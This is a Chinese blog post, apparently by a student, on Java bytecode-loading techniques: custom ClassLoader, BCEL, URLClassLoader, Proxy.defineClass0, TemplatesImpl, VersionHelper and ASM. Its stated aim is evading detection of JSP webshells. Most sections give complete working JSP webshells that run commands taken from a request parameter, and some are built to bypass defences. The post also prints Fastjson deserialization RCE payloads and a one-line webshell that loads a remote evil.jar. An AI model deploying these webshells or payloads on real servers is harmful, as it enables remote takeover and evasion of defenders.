浅谈加载字节码相关的Java安全问题
0x00 简介
本文较水,主要是炒冷饭,巩固和复习一些基础的Java安全知识
近期在学习JSP免杀相关的知识,遇到了很多加载字节码的情况,所以写一篇文章总结下
加载字节码是Java安全中重要的部分,实现这个功能离不开ClassLoader
本文前半部分将从各个角度对各个ClassLoader
的利用方式做解析,并深入分析其原理
后半部分讨论一些Java安全方面的技巧
笔者目前本科在读,才疏学浅,错误和不足之处还请大佬指出,十分感谢!
0x01 自定义类加载器
这里采用自定义类加载器的JSP Webshell来讨论
首先编写一个用于加载的恶意类
public class ByteCodeEvil {
String res;
public ByteCodeEvil(String cmd) throws IOException {
// 简单回显 Webshell
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
}
@Override
public String toString() {
// 回显
return res;
}
}
将上文的类使用javac
编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能
String cmd = request.getParameter("cmd");
ClassLoader loader = new ClassLoader() {...};
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();
实际上自定义ClassLoader
这个过程并不简单
注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass
方法和loadClass
方法
其中loadClass
方法会先查找该类是否已被加载,调用findLoadedClass
方法
如果没有找到,则会调用loadClass
方法;如果还是没有找到,会调用findClass
方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载
重写loadClass
方法的代码如下,当我们加载的是指定名称的类时,就调用重写后的findClass
方法
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("ByteCodeEvil")) {
return findClass(name);
}
return super.loadClass(name);
}
还有一个重点方法defineClass
,它可以从byte[]
还原出一个Class对象。在findClass
中,如果调用defineClass
加载指定的恶意字节码,就会达到运行时加载字节码的效果
因此尝试写出如下的findClass
代码
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("BASE64_ENCODE_BYTECODE");
return this.defineClass(name, bytes, 0, bytes.length);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
其实上方的代码是正常执行的,但并不完善,应该调用defineClass
的另一个重载
在Java的类加载中,有著名的双亲委派机制
首先会检查该类是否已经被加载,若没有被加载,则会委托父加载器进行装载,只有当父加载器无法加载时,才会调用自身的findClass()
方法进行加载。这样避免了子加载器加载一些试图冒名顶替可信任类的不可靠类,也不会让子加载器去实现父加载器实现的加载工作
例如用户使用自定义加载器加载java.lang.Object
类,实际上委派给BootstrapClassLoader
加载器。如果用户使用自定义类加载器加载java.lang.Exp
类,父类无法加载只能交给自定义类加载器。由于同在java.lang
包下,所以Exp
类可以访问其他类的protected
属性,可能涉及到一些敏感信息
因此必须将这个类与可信任类的访问域隔离,JVM中为了避免这样的危险操作,只允许由同一个类加载器加载的同一包内的类之间互相访问,这样一个由同一个类加载器加载的并属于同一个包的多个类集合称为运行时包
类加载体系为不同类加载器加载的类提供不同的命名空间,同一命名空间内的类可以互相访问,不同命名空间的类不知道彼此的存在
除了命名空间的访问隔离和双亲委派的受信类保护,类加载器体系还用保护域来定义代码在运行时可以获得的权限
这里需要我们关注的点是CodeSource
,它是解释如下
每个class文件均和一个代码来源相关联,这个代码来源(java.security.CodeSource
)通过URL类成员location
指向代码库和对该class文件进行签名的零个或多个证书对象的数组。class文件在进行代码认证的过程中可能经过多个证书签名,也可能没有进行签名
访问控制策略Policy
对权限的授予是以CodeSource
为基础进行的,每个CodeSource
拥有若干个Permission
,这些Permission
对象会被具体地以其子类描述,并且和CodeSource
相关联的Permission
对象将被封装在java.security.PermissionCollection
类的一个子类实例中,以描述该CodeSource
所获取的权限
类加载器的实现可以通过将代码来源(CodeSource
)即代码库和该class文件的所有签名者信息,传递给当前的Policy
对象的getPermissions()
方法,来查询该代码来源所拥有的权限集合PermissionCollection
(在策略初始化时生成),并以此构造一个保护域传递给defineClass()
以此指定类的保护域
以上复杂的理论表现在代码中如下(其中有一个细节在后续分析)
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("BASE64_ENCODE_BYTECODE");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
实际上在JDK的ClassLoader
源码中,有这样的处理
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
// 跟入
protectionDomain = preDefineClass(name, protectionDomain);
...
}
当传入的ProtectionDomain
为空时,会在预处理中定义为默认
private ProtectionDomain preDefineClass(String name,
ProtectionDomain pd)
{
...
if (pd == null) {
pd = defaultDomain;
}
...
return pd;
}
回到上文提到的细节,发现这里默认的情况和上文缺少了一个PermissionCollection
// JSP Webshell中编写的代码
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
// JDK的默认ProtectionDomain
private final ProtectionDomain defaultDomain =
new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
null, this, null);
为什么在JSP Webshell中指定了AllPermission
定义:The AllPermission is a permission that implies all other permissions
在JDK源码文档中有这样一句话:application or applet is completely trusted
这意味着改代码拥有全部的权限,也就是最高权限
拥有SocketPermission
和FilePermission
这种敏感操作的权限
也就完全发挥了JSP Webshell的功能,所以在JSP中指定ProtectionDomain
是必要且有意义的
最终的自定义类加载器JSP Webshell如下
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("ByteCodeEvil")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd = request.getParameter("cmd");
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();
response.getWriter().print(result);
%>
0x02 BCEL ClassLoader
在较高版本的JDK8中BCELClassLoader
被删除所以需要在较低版本的JDK中测试
参考P神的文章:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
该类加载的作用是给出一段特殊字符串,直接加载为类对象
简单查看loadClass
方法的代码,可以看到加载了以"$$BCEL$$"
开头的字符串
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
...
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
...
if (clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
}
...
return cl;
}
BCEL比较知名的是Fastjson的BasicDataSource
利用
查看源码可以发现包含driveClassLoader
和driverClassName
的get/set
方法,具备了Fastjson的触发条件
给出一个较高版本Fastjson的POC,果然和推测差不多,主要是基于上面上个属性
{
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$$$......",
"$ref": "$.x.y.c.connection"
}
}
}
}
两个name
对象被缓存后缓存,可以让BasicDataSource
和BCEL ClassLoader
绕过黑名单
最下面的$ref
是高版本Fastjson
的一个特性,可以链式调用,最终调用到BasicDataSource.connection
其实BasicDataSource
类并没有connection
属性,但这样的调用会触发get/set Connnection
方法
跟入BasicDataSource
的getConnnection
@Override
public Connection getConnection() throws SQLException {
...
return createDataSource().getConnection();
}
// 继续跟入
protected DataSource createDataSource() {
...
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
...
}
// 继续跟入
protected ConnectionFactory createConnectionFactory() throws SQLException {
...
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
// 进入这里
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
// 这里对象被实例化造成RCE
driverToUse = (Driver) driverFromCCL.getConstructor().newInstance();
}
注意到这里的触发点是Class.forName
并不是loadClass
等方法
其实Class.forName
第二个参数initial
为true时,类加载后将会直接执行static{}
块中的代码
回到该Fastjson POC本身driveClassName
的BCEL字节码对应的Java代码正好符合static条件
public class Exp{
static {
try{
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
}
}
}
类似地,我们可以把BCEL ClassLoader
的概念引入JSP Webshell中
<%@ page language="java" pageEncoding="UTF-8" %>
<%! String PASSWORD = "4ra1n"; %>
<%
String cmd = request.getParameter("cmd");
String pwd = request.getParameter("pwd");
if (!pwd.equals(PASSWORD)) {
return;
}
// 0x01中ByteCodeEvil生成的字节码
String bcelCode = "$$BCEL$$......";
// new ClassLoader().loadClass(bcelCode).newInstance(cmd);
Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader = (ClassLoader) c.newInstance();
Class<?> clazz = loader.loadClass(bcelCode);
java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
Object obj = constructor.newInstance(cmd);
// 回显
response.getWriter().print("<pre>");
response.getWriter().print(obj.toString());
response.getWriter().print("</pre>");
%>
0x03 URLClassLoader
另一个ClassLoader,区别在于可以加载任意路径下的类
还是选择0x01中的ByteCodeEvil
类
URL url = new URL("file:/your_path/classes/");
URLClassLoader loader = new URLClassLoader(new URL[]{url});
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
constructor.newInstance("calc.exe");
也可以利用URLClassLoader
做RCE的回显
public ByteCodeEvil(String cmd) throws Exception {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
this.res = stringBuilder.toString();
// 抛出异常
throw new Exception(this.res);
}
上文代码编译的字节码被URLClassLoader
加载后,可以在报错信息中看到RCE的回显结果
同样可以用于JSP Webshell
<%
response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://path/evil.jar")}).loadClass("EvilClass").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("cmd"))).toString().getBytes());
%>
0x04 defineClass0
主要参考了su18师傅给出的JSP Webshell,使用到的Proxy
类是Java动态代理的底层实现类
基于Proxy
的native方法defineClass0
做一些事情,也许可以绕过一些防御
private static native Class<?> defineClass0(ClassLoader loader, String name, byte[] b, int off, int len);
例如下面的代码调用native方法defineClass0
加载字节码
public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
// 获取系统的类加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
// 反射java.lang.reflect.Proxy类获取其中的defineClass0方法
Method method = Proxy.class.getDeclaredMethod("defineClass0",ClassLoader.class, String.class, byte[].class, int.class, int.class);
// 修改方法的访问权限
method.setAccessible(true);
// 反射调用java.lang.reflect.Proxy.defineClass0()方法
// 动态向JVM注册对象
// 返回一个 Class 对象
return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
}
JSP Webshell
<%
byte[] bytes = Base64.getDecoder().decode("BASE64_BYTECODE");
Class<?> testClass = defineByProxy("ByteCodeEvil", bytes);
Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
out.println(result.toString());
%>
0x05 TemplatesImpl
该类是Java安全知名的类,例如著名的CC链、Fastjson、7U21
Fastjson利用
给出恶意类
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
Fastjson的POC
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["BASE64_BYTECODE"],
"_name":"a.b",
"_tfactory":{},
"_outputProperties":{ },
"_version":"1.0",
"allowedProtocols":"all"
}
注意其中的Payload来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
该链需要开启Feature.SupportNonPublicField
参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl
类中有set方法,比如setTransletBytecodes
,但是名称和Bytecodes
不一致)
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField
设置属性时会有判断
final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
&& (lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {
......
反序列化时,fastjson中会把”_”开头的属性替换为空。并在outputProperties
设置值时调用getOutputProperties
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer
方法
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
跟入getTransletInstance
,通过defineTransletClasses
得到Class然后newInstance
实例化
// name不能为空所以在payload中设置a.b
if (_name == null) return null;
// 关键
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
再跟入defineTransletClasses
,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的newInstance
方法中实例化该类,造成RCE
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
...
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
...
_class[i] = loader.defineClass(_bytecodes[i]);
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
注意到其中的ClassLoader
是TransletClassLoader
,简单的继承了ClassLoader
static final class TransletClassLoader extends ClassLoader
AccessController.doPrivileged
方法主要做权限操作,目的是给ClassLoader设置指定的权限
跟入defineClass
发现没有传入name,直接根据字节码获得类
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
为什么_bytescode
要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze
的时候,会对字段进行一次base64的解码
......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
byte[] bytes = lexer.bytesValue();
......
跟入lexer.bytesValue()
方法,看到decodeBase64
public byte[] bytesValue() {
......
// base64解码
return IOUtils.decodeBase64(buf, np + 1, sp);
}
基于TemplatesImpl的JSP Webshell
这里不给出代码了,大概分析下思路,参考三梦师傅的代码,有两种实现:
第一种是在JSP中构造一个TemplatesImpl
类,按照Fastjson的POC给每个属性设置值,最后调用getOutputProperties
方法。获取输入和回显可以基于文件,新建两个文件,写入请求参数在恶意类中读取执行并返回到输出文件
第二种是直接基于序列化数据,调用readObject
反序列化触发
0x06 VersionHelper
给出基于VersionHelper的一个JSP Webshell,发现方法调用和ClassLoader类似
<%
String cmd = request.getParameter("cmd");
String tmp = System.getProperty("java.io.tmpdir");
String jarPath = tmp + File.separator + "Evil.class";
Files.write(Paths.get(jarPath), Base64.getDecoder().decode("BASE64_BYTECODE"));
VersionHelper helper = VersionHelper.getVersionHelper();
Class<?> clazz = helper.loadClass("Evil", "file:" + tmp + File.separator);
Constructor<?> constructor = clazz.getConstructor(String.class);
Object obj = constructor.newInstance(cmd);
response.getWriter().print(obj);
%>
在static
块中实例化
public static VersionHelper getVersionHelper() {
return helper;
}
static {
helper = new VersionHelper12();
}
跟入VersionHelper12
类的loadClass
方法,可以看到底层是一个URLClassLoader
,这也解释了为什么要保存成一个文件
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
0x07 JDK-ASM
ASM框架可以直接操作字节码,而JDK其实是自带ASM的,并不需要引入第三方依赖
最终目标是加载字节码触发漏洞,并不是一定要使用JAVAC
来编译生成,也可以直接写入
例如0x02的BCEL的例子,需要编译得到一长串String bcelCode = "$$BCEL$$......";
而笔者尝试直接用ASM构造出ByteCodeEvil
字节码并加载,由于该库是JDK自带,所以理论上有一定的Bypass可能
给出ASM构造出的BCEL JSP Webshell
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
<%
// 注意导入开头为jdk.internal
// 注意flag为COMPUTE_FRAMES否则报错
jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
// 类属性visitor
jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor;
// 类方法visitor
jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor;
// 类名可以自行修改
classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null);
fieldVisitor.visitEnd();
methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"});
methodVisitor.visitCode();
methodVisitor.visitVarInsn(ALOAD, 0);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder");
methodVisitor.visitInsn(DUP);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
methodVisitor.visitVarInsn(ASTORE, 2);
methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader");
methodVisitor.visitInsn(DUP);
methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader");
methodVisitor.visitInsn(DUP);
// 这里可以针对字符串做拆分编码等操作来Bypass
methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
methodVisitor.visitVarInsn(ALOAD, 1);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;)V", false);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false);
methodVisitor.visitVarInsn(ASTORE, 3);
jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label();
methodVisitor.visitLabel(label0);
methodVisitor.visitVarInsn(ALOAD, 3);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
methodVisitor.visitInsn(DUP);
methodVisitor.visitVarInsn(ASTORE, 4);
jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label();
methodVisitor.visitJumpInsn(IFNULL, label1);
methodVisitor.visitVarInsn(ALOAD, 2);
methodVisitor.visitVarInsn(ALOAD, 4);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
methodVisitor.visitLdcInsn("\n");
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
methodVisitor.visitInsn(POP);
methodVisitor.visitJumpInsn(GOTO, label0);
methodVisitor.visitLabel(label1);
methodVisitor.visitVarInsn(ALOAD, 0);
methodVisitor.visitVarInsn(ALOAD, 2);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
methodVisitor.visitInsn(RETURN);
methodVisitor.visitMaxs(6, 5);
methodVisitor.visitEnd();
methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null);
methodVisitor.visitCode();
methodVisitor.visitVarInsn(ALOAD, 0);
methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
methodVisitor.visitInsn(ARETURN);
methodVisitor.visitMaxs(1, 1);
methodVisitor.visitEnd();
classWriter.visitEnd();
byte[] code = classWriter.toByteArray();
String cmd = request.getParameter("cmd");
// 对bytes类型字节码进行BCEL转换
String byteCode = com.sun.org.apache.bcel.internal.classfile.Utility.encode(code, true);
byteCode = "$$BCEL$$" + byteCode;
// 使用BCELClassLoader加载构造的字节码
Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader = (ClassLoader) c.newInstance();
Class<?> clazz = loader.loadClass(byteCode);
java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
Object obj = constructor.newInstance(cmd);
response.getWriter().print("<pre>");
response.getWriter().print(obj.toString());
response.getWriter().print("</pre>");
%>
这种动态生成字节码的方式有很多用途,比如下一篇文章将会使用该功能实现Tomact的Filter型内存马的免杀,构造指定Filter名的字节码文件写入对应的classpath,然后Class.forName
加载字节码,迷惑防御方
https://github.com/EmYiQing/MemShell/
具体的原理分析将在下一篇文章中
0x08 参考
https://xz.aliyun.com/t/7798
https://github.com/threedr3am/JSP-Webshells
- 点赞
- 收藏
- 关注作者
评论(0)